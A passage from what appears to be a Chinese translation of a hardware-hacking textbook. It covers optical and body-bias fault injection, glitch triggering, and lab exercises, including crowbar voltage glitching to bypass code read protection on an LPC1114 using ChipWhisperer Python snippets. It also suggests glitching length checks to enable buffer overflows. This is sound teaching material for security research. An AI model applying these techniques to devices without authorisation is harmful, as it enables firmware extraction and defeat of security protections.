光斑大小可以通过光学显微镜设置中的不同放大倍数进行配置。你可以通过降低光强度来减小有效光斑大小,这样可以减少散射。理想情况下,光斑的直径应在 1–50 微米之间。光斑越小,定位特定区域的精度越高,但这也意味着你需要在 XY 空间中搜索更多的光斑。通常情况下,我们建议从较大的光斑开始。如果你最终只得到崩溃而没有有趣的故障,可能是你扫描的区域太大了,此时可以尝试减小光斑大小。

光学故障注入的可配置参数

第一个需要考虑的参数是用于 XY 扫描的目标区域。你可以对芯片的照片进行一些光学反向工程,以识别不同的模块。根据我们的经验,避免扫描内存单元可以节省时间,尽管包含内存解码器可能也很有趣。如果你不想限制自己,可以扫描整个芯片。

两个参数,光强度持续时间,决定了你传递的能量量。能量过大会导致芯片损坏。我们在设备旁有一个小小的芯片墓地,作为提醒。对于所有光源,你可以使用滤光器来控制光强度,滤光器能阻挡光线。对于激光切割机,你还可以通过电子方式调整强度,而对于二极管激光器,你可以通过调节电源来调节强度和持续时间。至于持续时间,通常你会瞄准一个时钟周期的长度,但这里也有一定的余地。在我们的实验中,我们已经观察到,在较低强度下,成功的故障发生在几十个时钟周期的长度上。

扫描的棘手部分在于,不同芯片部分所需的能量量不同,这意味着你需要结合优化参数和 XY 扫描。为了避免烧毁芯片,首先使用非常低的能量进行一次测试,这时不会出现故障或其他可观察的效果。尝试将光强度设为最大值的 1%到 10%,持续时间设为 10–50 纳秒,并开始在芯片上进行扫描,比如在 20×20 的网格中。如果看到任何不规则的行为,终止实验,降低设置,再重复直到没有故障为止。然后开始逐步增加能量,每次都在芯片上进行新的扫描。一旦你开始看到有趣的故障,就可以开始缩小参数范围。

当你进行双激光光学故障注入时,你将加倍我们刚才描述的大多数参数,导致一个非常复杂的搜索空间。这并没有什么魔法灵丹妙药,完全是应用分而治之的原则。

体偏注入

体偏注入(BBI)是一种介于电磁故障注入和激光故障注入之间的故障注入方法。它使用一个物理针头,放置在芯片的背面(参见图 5-29)。通过针头注入高压脉冲,这个脉冲可以耦合到集成电路的各个内部节点。Philippe Maurine 在他的论文《电磁故障注入技术:设备和实验结果》(FDTC 2012)中介绍了这种方法。

f05029

图 5-29:体偏注入使用针头作用于芯片的背面。

该探针是一个标准的弹簧加载式测试点探针。在图 5-29 中,我们为了进行背面攻击稍微作弊了一下。目标设备是一个标准的微控制器,采用晶圆级芯片封装(WLCSP)。这些 WLCSP 设备实际上是硅片的一片,添加了焊球,专为一些最小的电子产品设计。由于其构造方式,它们通常暴露出设备的背面,因此你不需要进行任何工作。可能会有一个简单的绝缘盖,容易刮去,但不需要我们之前讨论的酸性解封装过程。

为了注入故障,需要将相对高电压脉冲注入到接触设备背面的针脚上。由于背面和设备内部节点之间没有直接(低电阻)连接,因此需要这种高电压脉冲。图 5-30 展示了一个脉冲示例。

f05030

图 5-30:输入 = 10 V 时的示例脉冲,脉冲宽度 = 680 ns。BBI 需要像 EMFI 一样的高电压,但其峰值电流比 EMFI 更小。

您会注意到芯片背面的峰值电压超过 150 V。然而,这种较高的电压会转换为 IC 内部节点上的较小电压,因此我们不会“烧坏” IC。此例中的峰值电流为 0.8 A,远小于 EMFI,在 EMFI 中我们可能会在线圈中看到 20 A 或更大的峰值电流。

与光学故障注入(OFI)相比,甚至与电磁故障注入(EMFI)相比,BBI 技术的成本要低得多。某一架构使用了简单的升压变压器,这意味着可以以大约 $15 的成本制作一个可用的 BBI 探针(见 图 5-31)。

f05031

图 5-31:该 ChipJabber-BasicBBI 探针可以以非常低的成本组装。

在这个例子中,一个升压变压器(位于 图 5-31 中图中央右侧杂乱的绕组)由一个简单的 MOSFET 开关驱动。通过改变输入电压,您可以调整 BBI 的输出电压。有关原理图的完整细节,请参阅 github.com/newaetech/chipjabber-basicbbi/ 以及 Colin O'Flynn 的论文《低成本体偏注入(BBI)攻击 WLCSP 设备》(CARDIS,2020)。

体偏注入的参数

BBI 的参数相对简单。除了标准参数,如时序和芯片表面的物理位置外,BBI 还增加了 脉冲电压。我们通常从非常低的电压开始(尽可能接近 0 V),然后逐步增加,直到看到故障。有效电压可能从 10 V 到 500 V 不等,具体取决于设备。电压需求的主要驱动因素是背面厚度。您可以使用万用表测量从芯片背面到地面引脚的电阻来粗略估计。如果电阻在 20 kΩ 到 50 kΩ 之间,您将需要一个非常低的电压(10 V 到 50 V)。如果电阻在 100 kΩ 到 300 kΩ 之间,您可能需要更高的电压,例如 75 V 到 200 V。如果电阻更高(1 MΩ),攻击可能无效或需要更高的电压。

BBI 很容易损坏设备。这些高电压脉冲直接注入硅芯片,相较于电磁故障注入(EMFI),更容易造成设备的永久性故障。从低电压开始并逐步增加是避免损坏设备的建议搜索策略。

触发硬件故障

我们已经提到过几次触发器,假设某些触发事件是容易访问的。实际上,触发事件可能简单也可能复杂,但我们最终要做出决定的是哪个事件在我们关注的操作之前发生,并且我们希望触发故障。

触发的要求与侧信道功率分析类似,我们在第九章中描述了这一点。侧信道功率分析与故障注入在触发方面的主要区别在于,故障注入是主动操控设备执行,而功率分析是被动监听。由于功率分析是被动监听,我们可以在已录制的数据中找到触发事件,但在故障注入中,我们需要一个在设备操作期间发生的触发事件。

微控制器上最常见的故障触发器之一是复位引脚。当设备启动时,它通常会执行一些安全关键操作,例如检查保险丝位的值、检查启动签名等等。这个过程告诉我们起始点(复位变为非活动状态时,设备可以运行),但是我们应该从触发点检查多长时间呢?需要进行一些实验来确定这一点。你可以为你的微控制器编写一个程序,一旦代码开始,就将一个 I/O 引脚置为高电平。复位引脚变为非活动状态和你的用户 I/O 引脚变为高电平之间的时间表示设备执行启动代码的时刻。

一些设备还包括复位输入和复位输出。这些设备使用复位输出来通知系统中的其他设备主微控制器何时启动并正常运行。这个信息可以提供更可靠的触发,因为复位输出实际上可能是复位逻辑的一部分。

更复杂的触发器通常基于设备的某些 I/O,例如指示设备处于特定启动状态的串行消息。例如,Listing 5-3 展示了 Echo Dot 的启动消息。

[PART] load "tee1" from 0x0000000000E00200 (dev) to 0x43001000 (mem) [SUCCESS]
[PART] load speed: 9583KB/s, 58880 bytes, 6ms
[BLDR_MTEE] sha256 takes 1 (ms) for 58304 bytes
[BLDR_MTEE] rsa2048 takes 87 (ms)
[BLDR_MTEE] verify pkcs#1 pss takes 2 (ms)
[BLDR_MTEE] aes128cbc takes 1 (ms) for 58304
NAND INFO:nand_bread 245: blknr:0xE0E,  blks:0x1

Listing 5-3:来自 Echo Dot 的启动消息提供了足够的细节,我们可以针对各个方面进行故障注入。

拥有如此详细的启动消息是罕见的,但在这个例子中,串行端口消息指示了某些功能(如 RSA-2048 签名计算)是否成功。我们很可能希望在 RSA-2048 计算之后、PKCS#1 验证之前触发故障。如果我们只是想验证是否可以触发故障,那么那长达 87 毫秒的 RSA-2048 操作将是一个完美的目标。通过破坏 RSA-2048 计算,我们将看到签名验证失败(因为 RSA 操作没有正确执行)。

通常,你可以通过将设备启动时的时间与已知的正常设置和无效设置进行比较,找到有用的时序信息。如果你向设备发送错误的密码,它会卡住还是启动错误指示灯?从逻辑上讲,你的故障位置一定是在设备开始处理和发生卡住或错误条件之间的某个时间点。

在下一章中,我们将通过一些实际例子,展示如何更具体地找到这些触发点。

与不可预测目标时序的协作

针对故障注入的对策之一,无论是否故意实施,都是在触发和目标操作之间设置非恒定时间。如果这个时间有抖动,攻击者如何精准地确定注入时机以命中代码序列中的特定操作呢?

时序抖动的产生方式有多种:通过故意引入代码中的随机延迟、当目标运行操作系统和调度程序并定期处理中断时,或者目标运行在抖动的时钟上。任何这些情况都会对故障注入的成功率产生负面影响,因为目标操作将发生在不可预测的时间。弥补这种抖动的一种方法是使用旁路信号将注入器与目标同步。使用功率旁路信号意味着在功率测量中的波形上触发——通常使用 FPGA 进行实时触发。

总结

故障攻击提供了一种强大的手段,可以将各种非预期的行为引入设备。虽然看起来可能有大量的可能性,但通过一些实验往往能够成功地实施故障攻击。

本章概述了你可以通过故障注入引发的各种效果,以及一些常见的注入方法——即时钟故障注入、电压故障注入、光学故障注入、EM 故障注入和体偏置注入。这些内容应能为你提供理解和应用这些攻击的背景知识。

在接下来的几章中,我们将讨论旁路功率分析,它可以与故障注入结合使用。你可以使用旁路功率分析来找出设备内部正在执行的功能,这是一个强大的工具,可以帮助你确定故障是否引起了非预期的效果,即使你无法从目标设备中看到任何输出。

既然你已经看到这里了,这里有一个故障注入的小窍门,虽然超出了本书的范围,但对于所有嵌入式设备来说具有广泛的适用性。如果经典的栈溢出缓冲区溢出载荷被长度检查阻止,可以故意让缓冲区长度检查出错,重新找回上世纪 90 年代的代码注入感觉。祝你玩得开心!

第六章:基准时间:故障注入实验室

故障注入是一种攻击嵌入式系统的绝妙方法,本章重点介绍其实际应用。我们不仅描述了如何进行实际的注入,还介绍了如何开始自己的故障注入实验。尽管你可以在大量设备上进行故障注入,但在这里我们集中讨论一些特定的例子。

我们将我们的故障注入攻击分为三个部分,这些部分是相对可重现的。使用相同的硬件,你应该能够达到预期的结果。第一部分展示了如何使用火花注入故障到设备中。我们编写一个包含简单循环的程序,然后展示如何将故障注入到循环中。第二部分应用了两种不同的故障注入方法:撬棍注入和多路复用器(mux)注入。最后,第三部分应用故障注入来破坏支撑现代密码学的完美且安全的数学原理。

图 6-1 是一个显示所有这些操作的示意图(同一图示在第四章中作为图 4-3 出现)。

f06001

图 6-1:PC、故障注入器与目标之间的连接

阅读这些例子时,请记住,所有这些操作都会有相同的组成部分。一个目标将运行一些我们要注入故障的代码,但这三种操作将使用不同的目标。故障注入器是我们插入故障的方式;在不同的操作中,我们将向你展示几种不同的故障注入器。最后,PC将参与监控或控制整个操作。

设备之间的实际连接在各部分之间会有所不同。例如,在第一部分中,我们不需要精确的时序。这意味着图 6-1 中的“触发”信号可能是可选的;我们将使用的其中一个故障注入器根本没有任何触发器。在后续部分中,我们会有更精确的时序要求,因此将使用触发信号来延迟故障,以确保它在非常特定的时间点被插入。

第一部分:一个简单的循环

我们将从你可以执行的最基本的故障注入开始,展示如何在新目标上开始故障注入。面对新设备时,一个典型的任务是运行非常简单的循环代码(参见清单 6-1)在目标设备上。

void glitch_infinite(void)
{
    char str[64];
    unsigned int k = 0;
    //Declared volatile to avoid optimizing away loop.
    //This also adds lots of SRAM access
  1 volatile uint16_t i, j;
  2 volatile uint32_t cnt;
    while(1) {
 cnt = 0;
      3 trigger_high();
      4 for(i = 0; i < 200; i++){
            for(j = 0; j < 200; j++){
                cnt++;
            }
        }
        trigger_low();
      5 sprintf(str, "%lu %d %d %d\n", cnt, i, j, k++);
        uart_puts(str);
    }
}

清单 6-1:这段简单的 C 代码是一个很好的故障注入示例。

这段代码有几个设计特点,使得故障注入变得容易。两个变量,在第 1 和第 2 行,声明为volatile,提供了大量的静态 RAM(SRAM)访问,从而增加了攻击面。可选的trigger_high()命令在第 3 行可以用来触发外部硬件插入故障。双重循环结构第 4 行提供了多次故障影响程序的机会。如果一个变量被破坏或某条指令被跳过,结果可能是变量ijcnt的值都会不正确。它们的值会在第 5 行打印出来,以便你查看故障注入的结果。

cnt变量最可能会明显被破坏。例如,如果j的值被破坏,只有在外循环对i的最后一次迭代发生破坏时,才会观察到j值被破坏。这个简单的循环不仅显示你是否在注入故障,还可以通过观察输出变化来查看各种类型的故障。

你可能需要稍微修改清单 6-1 中的代码,以便在目标平台上编译,但它的设计目标是除了简单的字符串打印命令外,几乎不需要其他要求。

那么,如何在一个简单的循环上执行攻击呢?毕竟这是一个实验章节。我们将展示三种执行攻击的方法,所有这些方法的硬件成本大约是 50 美元,但你可能已经有了一些所需的设备。第一种方法使用 Arduino 作为目标设备,并通过 BBQ 打火机插入故障。接下来的两种方法将基于电压故障注入;我们将向你展示如何使用短路棒和多路复用电路来生成电压故障。为了驱动这些电路,我们将在本实验中使用 ChipWhisperer-Nano(或 ChipWhisperer-Lite),但你也可以使用其他脉冲源来驱动这些电路。让我们开始注入故障吧(正如他们所说的)。

一只痛苦的 BBQ 打火机

这种方法可能是更危险的,但从成本角度来看,它几乎是无可匹敌的。我们需要将代码从清单 6-1 编译到一个 Arduino 上。那段代码几乎可以直接使用。你需要先设置串口,然后将puts()调用替换为Serial.write()。你可能还想调整循环迭代计数器,以使输出变得更慢一些(参见图 6-2)。该程序还会为你标记成功的故障注入。

f06002

图 6-2:在 Arduino Metro Mini 上实现代码

本示例中我们使用的是 Arduino Metro Mini,Adafruit 零件号 2590,因为它配有 ATmega328P 芯片,采用 QFN 封装。我们需要 QFN 封装,因为它在芯片表面(我们生成电磁故障脉冲的地方)和芯片本体之间的材料最少。例如,ATmega328P 的 DIP 封装太厚,可能无法成功注入故障,甚至可能完全失败。

图 6-3 右侧的隔离器来自 Adafruit,零件号 2107,但你可以使用任何其他隔离器,甚至只是一个隔离的串口。故障注入方法也很容易损坏你的目标设备,因为你将使用非常高的电压!

f06003

图 6-3:来自 Adafruit 的隔离器(右侧是 PCB),我们的目标(左侧是 PCB)

好了,警告够多了。如果你撕开一个烧烤点火器,你会发现压电点火器,如图 6-4 所示。

f06004

图 6-4:压电点火器产生高电压。

该元件在右端的推动器被压入外壳,直到听到“咔哒”声时,会产生高电压(小心不要电到自己)。如果你小心地将高压线(即连接到烧烤点火器端的电线)弯曲,使其接近端盖,它将产生火花。在我们的案例中,我们已经将两根电线连接起来,形成一个小的火花间隙,可能在 0.5 毫米到 2 毫米之间。间隙通过一些聚酰亚胺胶带固定。

这本身足以提供一个故障注入机制。我们将尝试强制火花在攻击 Arduino 时在某个“有趣”的地方生成。火花间隙位于表面贴装的 Arduino 封装上方(见图 6-5)。

芯片上方的聚酰亚胺胶带(Adafruit 零件号 3057,通常以 Kapton 品牌出售)为其提供绝缘保护。如果火花连接到微控制器的引脚,你会立刻烧毁设备,如果你的绝缘体不起作用或者超出了电压限制,也可能烧毁计算机。

f06005

图 6-5:聚酰亚胺胶带有助于(但不能完全防止)我们的设备因高电压而爆炸。

接下来,运行程序并开始打火。运气好的话,你会得到一些损坏的输出,如图 6-2 屏幕上所示。如果总计数器重置为零,你可能还会看到一些重置。虽然这仍然是一种故障,但这并不是你想要的那种有趣的故障。重置意味着你的故障太强大;尝试在火花间隙中增加一些间距或更改位置。

这一部分简要展示了一个简单的循环和火花如何向设备插入故障。当时序不重要时,这种火花可以导致有用的攻击。在 Arun Magesh 的博客文章“通过燃气打火器进行电磁故障注入绕过 Android MDM,费用为 1.5 美元”中,这种类型的攻击被用在智能手机上。

第二部分:插入有用的故障

或许你不愿意烧毁目标设备或计算机,在这种情况下,你将需要一些更微妙的故障注入方法。在这一部分中,我们描述了如何使用故障注入攻击设备中存储在闪存中的读取保护配置字。如果我们成功改变这个配置字,就能读取我们通常无法访问的闪存内容。

在本章中,我们应用了两种较不激进但同样有效的故障注入方法:破坏器故障注入和多路复用器(mux)故障注入。我们还介绍了一个新的故障注入目标:Olimex LPC-P1114 开发板。开发板的用户手册将帮助你理解我们在这里描述的修改和互连。

本章使用的故障注入方法可以通过之前部分中我们所破坏的 Arduino 微处理器中的简单循环测试代码来实现相同的故障。如果你想测试故障设置,我们建议从清单 6-1 中的简单循环代码开始,并将其编译为目标代码。然而,为了避免本书中的重复,我们将直接跳到最终目标,即破坏安全配置。现在让我们一起走过如何实际看到一些有用的故障!

使用破坏器故障注入来破坏配置字

我们将应用破坏性故障注入方法来破坏微控制器的配置字(有关破坏性故障注入的介绍,请参见第五章)。这将基于 Chris Gerlinsky 的演讲“在 NXP LPC 系列微控制器上破解代码读保护”(REcon 布鲁塞尔 2017),该演讲涵盖了初步工作,包括故障如何工作及如何生成的细节。在这里,我们展示了一种稍微更简单的注入故障的方法,即通过电源引入一个“破坏器”。该方法已被证明能够对各种设备起作用,包括更高级的目标,如树莓派和现场可编程门阵列(FPGA)板。欲了解更多细节,请参见 Colin O'Flynn 的《在嵌入式系统上使用破坏器进行故障注入》(IACR Cryptology ePrint Archive,2016),该文介绍了破坏器故障注入方法。

最终目标是攻击代码读保护机制,这是防止他人将二进制代码从设备中复制出来的机制。在 LPC 设备中,代码读保护是内存中的一个特殊字,定义了微控制器具有的保护级别。这些代码读保护字节是“选项字节”的一部分,选项字节包含了微控制器的各种配置。表 6-1 列出了与代码读保护相关的选项字节的有效值。

表 6-1:与代码读保护相关的选项字节的有效值

模式 选项字节值 描述
NO_ISP 0x4E697370 禁用“ISP 入口”引脚。
CRP1 0x12345678 禁用 SWD 接口。仅通过 ISP 允许部分闪存更新。
CRP2 0x87654321 禁用 SWD 接口。在大多数其他命令可用之前,必须执行完整芯片擦除。
CRP3 0x43218765 禁用 SWD 接口;禁用 ISP 接口。除非用户通过替代方法实现引导加载程序调用,否则设备无法访问。
解锁 任何其他值 没有启用保护(完全的 JTAG 和引导加载程序访问)。

设计中的关键漏洞在于,“解锁”级别是默认值,只有当该字设置为几个特定值之一时,才会启用代码读取保护。这意味着,如果你在从闪存读取代码读取保护字时破坏了该值,就完全没有代码保护!我们可以使用故障注入来破坏这个值。接下来,我们来看一下需要哪些工具。

设置设备

首先,我们需要一个目标设备(安装在目标板上),用于尝试破解代码读取保护;其次,我们需要一个能够插入故障的工具,以使程序错误读取值并移除读取保护。

图 6-6 展示了一个示例设置。LPC1114 目标板位于照片的顶部,ChipWhisperer-Nano(用于执行故障注入)位于照片的底部,可以看到两者之间的互联(稍后会详细介绍这种互联)。

f06006

图 6-6:使用 ChipWhisperer-Nano 进行故障注入的 LPC1114 处理器目标

除了 ChipWhisperer-Nano 提供的编程和故障注入时序,其唯一真正使用的功能是简单的“短路”机制,如果需要的话,你可以用外部 MOSFET 或类似设备来替代。

ChipWhisperer-Nano 与 ChipWhisperer-Lite 的比较

我们使用 ChipWhisperer-Nano 是因为它的成本较低($50),尽管它在故障注入时的时序分辨率不如 ChipWhisperer-Lite($250)。ChipWhisperer-Lite 在执行这种攻击时更为可靠。

如果你按照图 6-6 中的连接方式使用 ChipWhisperer-Nano,请记住,ChipWhisperer-Nano 内置了一个 STM32F0 微控制器,作为目标设备。你可以移除目标端(它设计成可以剪切和断开),但更不具破坏性的方法是将其擦除。对于我们即将进行的攻击,STM32F0 目标的物理存在不会影响我们的使用。我们只需要确保它没有运行任何会干扰我们的 I/O 线路的代码。

下面是一个简短的 Python 示例,演示如何通过 Jupyter Notebook 接口执行此操作(有关更多细节,请参见本章节的笔记本 nostarch.com/hardwarehacking/):

PLATFORM="CWNANO"
%run "Helper_Scripts/Setup_Generic.ipynb"
p = prog()
p.scope = scope
p.open() #Open and find attached STM32F0 target
p.find()
p.erase() #Erase it!
p.close()
target.dis()
scope.dis()

在这种情况下,我们仅通过引导加载程序接口擦除设备的闪存,以确保串行数据线是空闲的。如果 ChipWhisperer-Nano 目标上运行了代码,可能会破坏我们的引导加载程序访问。

修改和互联

这种攻击的优点在于我们可以做到极其简单。我们需要在 LPC1114 目标的电源之间创建一个瞬时短路,因此我们对 LPC1114 开发板的 PCB 做了一些修改。基本上,我们需要一个来自过电流保护机制到电源轨的连接,并且必须移除那些会平滑电源轨上故障的电容器。我们目标是如 图 6-7 所示的电路。

f06007

图 6-7:显示 LPC1114 开发套件部分原理图

原理图显示了 GLITCH 连接,指示我们如何插入故障。在我们提供的示例中,实际的 Q1 组件集成在 ChipWhisperer-Nano 中,但如果你想单独实现此功能,可以将电源路由到类似的故障注入模块,例如由信号发生器驱动的 MOSFET。图 6-8 显示了物理实现。

f06008

图 6-8:为故障注入而修改的 LPC1114 开发板

以下列表提供了对开发板进行修改的逐步说明,见 图 6-8:

  1. 移除去耦电容 C4 1。

  2. 移除去耦电容 C1 2。

  3. 通过切断跳线 3,将 3.3 V CORE_E VDD 从 LPC1114 中断开。

  4. 通过切断跳线 4,将 3.3 V IO_E VDD 从 LPC1114 中断开。

  5. 在跳线 3 上插入一个 12 Ω 电阻。现在,PCB 电源 VDD 通过该电阻连接到 LPC1114。

  6. 通过链接 5 将 3.3 V CORE_E VDD 和 3.3 V IO_E VDD 电源的“芯片端”连接在一起,从跳线 4 的焊盘和电容器 C4 1 的焊盘连接。

  7. 将 3.3 V CORE_E VDD 和 3.3 V IO_E VDD 电源通过连接器 7 使用链接 6(这里连接器是 SMA 连接器,但任何类型的连接器均可)连接在一起。

  8. 只需在 BLD_E 9 上安装插头,将 PIO0_1 接地。

  9. 将 PIO0_3 设置为 GND,这需要将一根电线(短橙色电线 a)焊接到地面。

  10. 在 8 处添加一个三针插头,并将 RST 连接路由到这三根引脚。

  11. 将来自 ChipWhisperer 的 nReset OUT 线路在 J3-5 和触发输入线 J3-16 连接到开发板上的 RST 输入,连接时使用你在 8 处安装的插头。

  12. 将来自 ChipWhisperer 的 GND 在 J3-2 引脚连接到开发板上的 UEXT-2 引脚。

  13. 将来自 ChipWhisperer 的 VCC 在 J3-3 引脚连接到开发板上的 UEXT-1 引脚。

  14. 将来自 ChipWhisperer 的 TXD 在 J3-10 引脚连接到开发板上的 UEXT-3 引脚。

  15. 将来自 ChipWhisperer 的 RXD 在 J3-12 引脚连接到开发板上的 UEXT-4 引脚。

表 6-2 提供了目标设备与 ChipWhisperer-Nano 之间连接的总结。(你也应该能够从此列表中确定独立攻击类型的连接方式。)

表 6-2:ChipWhisperer-Nano 开发板与故障生成器的连接

LPC1114 开发板 ChipWhisperer-Nano 描述
UEXT-1 J3-3 VCC
UEXT-2 J3-2 GND
UEXT-3 J3-10 TXD
UEXT-4 J3-12 RXD
RST J3-5 重置输出
RST J3-16 触发输入
VCC_CORE 故障连接器中间引脚 在此插入 VCC 故障
GND 故障连接侧引脚 第二个 GND(用于故障)

开发板上的 RST 引脚既是输出(切换来重置设备)也是输入(作为插入故障的参考),这是必需的,因为 ChipWhisperer-Nano 使用 GPIO4 作为触发输入。

时机就是一切

当 LPC1114 设备从重置中恢复时,它将从闪存读取配置字,我们需要在这一时刻插入故障。如果我们能够破坏内存读取,设备将被解锁,这不是设计者的初衷。

我们使用重置引脚来计时故障。重置引脚的上升沿(由于重置是低电平有效的)指示引导序列的开始。如果你控制的是单一设备(例如你自己的 FPGA 或微控制器),你当然可以根据你将重置引脚拉高的时间来控制故障。

重置引脚只告诉我们设备何时开始引导过程,但不能告诉我们结束时间,也不能告诉我们读取保护值何时从闪存中获取。我们需要在从引导开始到结束的过程中扫过故障插入点,瞄准可能发生闪存读取的每个时钟周期。

虽然重置引脚为我们提供了开始时间,但我们希望在设备完成引导时能够知道一个结束时间(如果到那时我们没有破坏代码保护,那么故障显然是无效的)。为了确定这个“结束时间”,我们可以编写一个简单的程序,切换一个 I/O 引脚并将其加载到微控制器中。当 I/O 引脚开始切换时,我们知道微控制器正在运行我们的代码,且引导过程已完成。

因此,引导时间是从重置引脚变为非活动状态(变为高电平)到 I/O 引脚切换之间的时间。在重置引脚变为高电平和 I/O 引脚切换之间,微控制器的引导代码必须正在从闪存读取读取保护值并对该值采取行动。我们的故障必须瞄准这个时间段中的某个时刻。

引导加载程序协议

为了理解如何找到一个有效的故障,这里有一个简短的设备引导加载程序入门。我们将使用引导加载程序来判断事情是否按计划进行。

引导加载程序协议非常简单。使用串行协议与设备通信,允许我们通过串行终端实验引导加载程序。通信流程如下:我们发送一些设置信息,接着进行内存读写操作以加载和验证代码。

协议在传输第一个字符时自动确定波特率。其余的设置确认波特率同步,并通知引导加载程序外部晶体的速度,以防需要进行任何额外的设置。你可以在清单 6-3 的输出示例中看到一些设置命令,我们接下来会查看这些命令。

几个命令用于擦除、读取和写入内存,但我们只关心内存读取尝试,因为如果设备被锁定,内存读取会失败。我们可以使用R 0 4\r\n执行内存读取,这将尝试从地址 0 读取 4 字节。如果设备被锁定,我们会得到19的响应,这是访问不被允许的错误代码。最终,我们需要编写一个脚本方法,不断测试设备是否解锁。

有了这些,我们现在需要破坏存储代码读保护代码的“选项字节”。它们不会被持续检查,但只会在重置时读取。如前所述,我们需要从重置开始计时我们的攻击。

设备设置

首先,我们需要使引导加载程序的通信正常工作。虽然我们可以实现整个引导加载程序协议,但我们将使用一个现有的库,叫做nxpprog(可在github.com/ulfen/nxpprog/找到),它能够与这些设备进行通信。

以下示例参考了本书资源中提供的配套 Jupyter Notebook,该 Notebook 实现了完整的攻击过程并提供了所需的设置细节。建议的安装说明也可以在线获取。不过,我们将在这里一起走一遍代码和攻击过程,这样你就能看到它是如何工作的,而无需安装任何东西。

nxpprog库需要支持函数isp_mode()write()readline()isp_mode()函数通过设置进入引脚并重置设备,进入在系统编程(ISP)模式。在这个示例中,ISP 模式入口引脚被焊接到 GND 以强制进入 ISP 模式(参见图 6-8)。isp_mode()函数仅重置设备,从而开始一个新的引导加载程序迭代。其他两个函数则通过串口与引导加载程序通信。如果使用的是 ChipWhisperer 设备,则数据将从 ChipWhisperer 输出。有关这些函数的更多细节,请参阅 Jupyter Notebook。

清单 6-2 显示了尝试连接设备并读取输出的示例:

nxpdev = CWDevice(scope, target, print_debug=True)

#Need to enter ISP mode before initializing programmer object
nxpdev.isp_mode()
nxpp = nxpprog.NXP_Programmer("lpc1114", nxpdev, 12000)

#Examples of stuff you can do:
print(nxpp.get_serial_number())
print(nxpp.read_block(0, 4))

清单 6-2:使用nxpprog连接并读取内存

清单 6-3 包含预期的输出和调试信息,显示了串口readwrite指令。

Write: ?
Read: Synchronized
Write: b'Synchronized\r\n'
Read: Synchronized
Read: OK
Write: b'12000\r\n'
Read: 12000
Read: OK
Write: b'A 0\r\n'
Read: A 0
Read: 0
Write: b'U 23130\r\n'
Read: 0
Write: b'N\r\n'
Read: 0
Read: 218316836
Read: 2935817382
Read: 1480765853
Read: 4110424384
218316836 2935817382 1480765853 4110424384
Write: b'R 0 4\r\n'
Read: 19
**OSError**: 'R 0 4' error: 19 - CODE_READ_PROTECTION_ENABLED: Code read protection enabled

清单 6-3:运行nxpprog连接脚本的输出,来自清单 6-2

在这种情况下,我们会得到一个 CODE_READ_PROTECTION_ENABLED 错误,这正是我们所期待的。如果我们使用的是一个新的开发板,那么代码读保护可能尚未启用。这意味着为了模拟现实世界,我们需要在继续教程之前先开启该保护。

读保护代码字节位于地址 0x2FC,并由 4 个字节组成。要编程代码保护,我们需要擦除整个内存页(4,096 字节),然后使用我们的配置字重新编程新页,将其设置为启用读保护。在实际情况中,我们需要知道应该在该页的所有其他字节中编程什么,但如果我们不需要运行代码,而只是进行概念验证,我们可以将数据编程为零(或其他任何数据)。

列表 6-4 展示了示例实现默认打开 lpc1114_first4096.bin 文件:

def set_crp(nxpp, value, image=None):
    """
    Set CRP value - requires the first 4096 bytes of FLASH due to
    page size!
    """

    if image is None:
        f = open(r"external/lpc1114_first4096.bin", "rb")
        image = f.read()
        f.close()

    image = list(image)
    image[0x2fc] = (value >> 0)  & 0xff
    image[0x2fd] = (value >> 8)  & 0xff
    image[0x2fe] = (value >> 16) & 0xff
    image[0x2ff] = (value >> 24) & 0xff

    print("Programming flash...")
    nxpp.prog_image(bytes(image), 0)
    print("Done!")

列表 6-4:擦除并重新编程整个内存页。

如果你没有这个文件,你可以简单地将 image = [0]*4096 的值设置为零,这样就会用零(0)覆盖闪存页。这意味着代码将不再运行,但我们不关心代码是否运行;我们关心的是是否能够绕过代码读保护。

列表 6-5 使用了来自列表 6-4 的数据来锁定设备,以便我们可以执行一种现实世界中的攻击:

nxpdev = CWDevice(scope, target, print_debug=True)

#Need to enter ISP mode before initializing programmer object
nxpdev.isp_mode()
nxpp = nxpprog.NXP_Programmer("lpc1114", nxpdev, 12000)
set_crp(nxpp, 0x12345678)

列表 6-5:使用 ISP API 接口锁定设备

现在我们已经锁定了设备,可以开始进一步调查并确定攻击的范围。

使用功率分析确定故障注入时机

在这个案例中,我们将作弊并从一个“正常”的电源波形开始,以观察大约在什么时间我们应该插入故障。图 6-8 显示了我们插入了一个 12 欧姆的分流电阻。其功能不仅是促进故障注入,还允许我们观察功率波形。在我们的电流击穿攻击示例中,我们将示波器连接到分流电阻上,记录电源轨的直流电平,如 图 6-9 中的中间轨迹所示。

f06009

图 6-9:启动时的电源轨迹

在这条轨迹的中间是电流击穿注入的故障。底部行显示了对故障两侧电源轨变化的放大查看,这就是我们所称的功率轨迹。顶部行则显示了 LPC1114 的复位输出轨迹。功率轨迹的变化使我们能够看到 CPU 执行的不同操作。我们要中断的具体部分是加载锁定闪存的字的过程。

在这个场景中,使用功率轨迹对于理解哪些故障参数会导致设备异常行为至关重要。我们需要注意的一点是,故障太强可能会导致设备重置并重新启动;那样对我们来说并没有什么帮助!

除了在示波器上查看功率轨迹,清单 6-6 显示了一个简单的脚本,使 ChipWhisperer-Nano 能够捕获功率轨迹。

import matplotlib.pylab as plt

#Enter ISP Mode
nxpdev.isp_mode()

#Sample at 20 MS/s (maximum for CW-Nano)
scope.adc.clk_freq = 20E6
scope.adc.samples = 2000

#Reset again and perform a power capture
scope.io.nrst = 'low'
scope.arm()
time.sleep(0.05)
scope.io.nrst = 'high'
scope.capture()

#Plot Waveform
trace = scope.get_last_trace()
plt.plot(trace)
plt.show()

清单 6-6:捕获启动功率轨迹的 Python 脚本

该轨迹显示在图 6-10 中。更高端的 ChipWhisperer-Lite 和 ChipWhisperer-Pro 将提供更详细的功率轨迹,但即使是这个$50 的 ChipWhisperer-Nano,也足以让我们看到启动过程的细节。

f06010

图 6-10:在清单 6-6 中测量的 LPC1114 的启动过程的功率轨迹

这些信息提供了什么?首先,它使我们能够检查和描述潜在有用故障的效果。其次,我们使用 ChipWhisperer-Nano 通过运行清单 6-7 中的代码来触发故障插入(如果你使用的是 ChipWhisperer-Lite,请参阅附带的笔记本)。

#ChipWhisperer-Nano uses count of fixed-frequency oscillator, so these values
#don't directly correlate with the timing of the power analysis graphs.
scope.glitch.repeat = 15
scope.glitch.ext_offset = 1400

清单 6-7:在 ChipWhisperer-Nano 上开启故障

